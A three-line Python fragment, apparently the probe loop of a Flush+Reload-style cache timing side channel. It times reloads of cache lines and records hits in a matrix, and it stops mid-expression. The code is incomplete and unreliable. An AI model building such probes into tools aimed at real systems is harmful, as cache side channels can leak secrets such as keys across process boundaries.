addr = base_addr + line * self.cache_line_size
cycles = self.reload(addr)
hit_matrix[i][line] = 1 if cycles